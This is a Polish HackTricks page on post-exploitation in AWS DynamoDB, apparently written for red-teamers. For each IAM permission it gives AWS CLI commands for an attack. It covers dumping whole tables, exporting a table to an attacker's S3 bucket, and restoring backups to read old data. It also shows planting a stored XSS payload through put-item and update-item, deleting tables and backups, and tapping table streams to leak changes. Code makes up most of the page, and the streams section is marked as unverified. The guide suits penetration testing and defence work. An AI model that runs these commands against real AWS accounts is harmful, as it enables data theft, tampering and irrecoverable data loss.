AWS - DynamoDB Post Exploitation

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

DynamoDB

Aby uzyskać więcej informacji, sprawdź:

pageAWS - DynamoDB Enum

dynamodb:BatchGetItem

Atakujący z tymi uprawnieniami będzie mógł pobierać elementy z tabel według klucza głównego (nie można po prostu poprosić o wszystkie dane z tabeli). Oznacza to, że musisz znać klucze główne (możesz je uzyskać, pobierając metadane tabeli (describe-table).

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

Potencjalne skutki: Pośrednie podniesienie uprawnień poprzez zlokalizowanie wrażliwych informacji w tabeli

dynamodb:GetItem

Podobnie jak w przypadku poprzednich uprawnień, ta pozwala potencjalnemu atakującemu odczytywać wartości z jednej tabeli, podając klucz główny wpisu do pobrania:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

Z tym uprawnieniem można również używać metody transact-get-items tak jak:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Potencjalny wpływ: Pośrednie podniesienie uprawnień poprzez zlokalizowanie wrażliwych informacji w tabeli

dynamodb:Query

Podobnie jak w przypadku poprzednich uprawnień, to pozwala potencjalnemu atakującemu odczytywać wartości z jednej tabeli, podając klucz główny wpisu do pobrania. Pozwala używać podzbioru porównań, ale jedynym dozwolonym porównaniem z kluczem głównym (który musi się pojawić) jest "EQ", więc nie można użyć porównania, aby uzyskać całą bazę danych w jednym żądaniu.

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

Potencjalne skutki: Pośrednie podniesienie uprawnień poprzez zlokalizowanie wrażliwych informacji w tabeli

dynamodb:Scan

Możesz użyć tego uprawnienia do łatwego zrzucenia całej tabeli.

aws dynamodb scan --table-name <t_name> #Get data inside the table

Potencjalny wpływ: Pośrednie podniesienie uprawnień poprzez zlokalizowanie wrażliwych informacji w tabeli

dynamodb:PartiQLSelect

Możesz użyć tego uprawnienia do łatwego zrzucenia całej tabeli.

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

To uprawnienie pozwala również na wykonywanie batch-execute-statement, na przykład:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

ale musisz określić klucz główny z wartością, więc nie jest to takie przydatne.

Potencjalny wpływ: Pośrednie podniesienie uprawnień poprzez zlokalizowanie wrażliwych informacji w tabeli

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

To uprawnienie umożliwi atakującemu wyeksportowanie całej tabeli do wiadra S3 jego wyboru:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Zauważ, że aby to działało, tabela musi mieć włączoną funkcję przywracania punktu w czasie, możesz sprawdzić, czy tabela ją ma, używając:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

Jeśli nie jest włączone, będziesz musiał je włączyć i do tego potrzebujesz uprawnienia dynamodb:ExportTableToPointInTime:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Potencjalny wpływ: Pośrednie podniesienie uprawnień poprzez zlokalizowanie wrażliwych informacji w tabeli

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

Z tymi uprawnieniami atakujący byłby w stanie utworzyć nową tabelę z kopii zapasowej (lub nawet utworzyć kopię zapasową, aby następnie przywrócić ją w innej tabeli). Następnie, posiadając odpowiednie uprawnienia, mógłby sprawdzić informacje z kopii zapasowych, które nie muszą już znajdować się w tabeli produkcyjnej.

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Potencjalny wpływ: Pośrednie podniesienie uprawnień poprzez zlokalizowanie wrażliwych informacji w kopii zapasowej tabeli

dynamodb:PutItem

To uprawnienie umożliwia użytkownikom dodanie nowego elementu do tabeli lub zastąpienie istniejącego elementu nowym elementem. Jeśli element o tym samym kluczu głównym już istnieje, cały element zostanie zastąpiony nowym elementem. Jeśli klucz główny nie istnieje, zostanie utworzony nowy element z określonym kluczem głównym.

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

Potencjalne skutki: Wykorzystanie dodatkowych podatności/bypassów poprzez możliwość dodawania/modyfikowania danych w tabeli DynamoDB

dynamodb:UpdateItem

To uprawnienie pozwala użytkownikom modyfikować istniejące atrybuty elementu lub dodawać nowe atrybuty do elementu. Nie zastępuje całego elementu; aktualizuje tylko określone atrybuty. Jeśli klucz główny nie istnieje w tabeli, operacja ta utworzy nowy element z określonym kluczem głównym i ustawionymi atrybutami określonymi w wyrażeniu aktualizacji.

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region <region>

Potencjalny wpływ: Wykorzystanie kolejnych podatności/bypassów poprzez możliwość dodawania/modyfikowania danych w tabeli DynamoDB

dynamodb:DeleteTable

Atakujący posiadający to uprawnienie może usunąć tabelę DynamoDB, powodując utratę danych.

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Potencjalne skutki: Utrata danych i zakłócenie usług polegających na usuniętej tabeli.

dynamodb:DeleteBackup

Atakujący posiadający to uprawnienie może usunąć kopię zapasową DynamoDB, potencjalnie powodując utratę danych w przypadku scenariusza odzyskiwania po katastrofie.

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Potencjalny wpływ: Utrata danych i brak możliwości odzyskania z kopii zapasowej podczas scenariusza odzyskiwania po katastrofie.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

TODO: Sprawdź, czy to naprawdę działa

Atakujący posiadający te uprawnienia może włączyć strumień na tabeli DynamoDB, zaktualizować tabelę, aby rozpocząć przesyłanie zmian, a następnie uzyskać dostęp do strumienia, aby monitorować zmiany w tabeli w czasie rzeczywistym. Pozwala to atakującemu monitorować i eksfiltrować zmiany danych, co potencjalnie prowadzi do wycieku danych.

  1. Włącz strumień na tabeli DynamoDB:

bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. Opisz strumień, aby uzyskać ARN i inne szczegóły:

bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. Uzyskaj iterator fragmentu przy użyciu ARN strumienia:

bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. Użyj iteratora shard do uzyskania dostępu i wycieku danych ze strumienia:

bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Potencjalny wpływ: Monitorowanie w czasie rzeczywistym i wyciek danych zmian tabeli DynamoDB.

Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated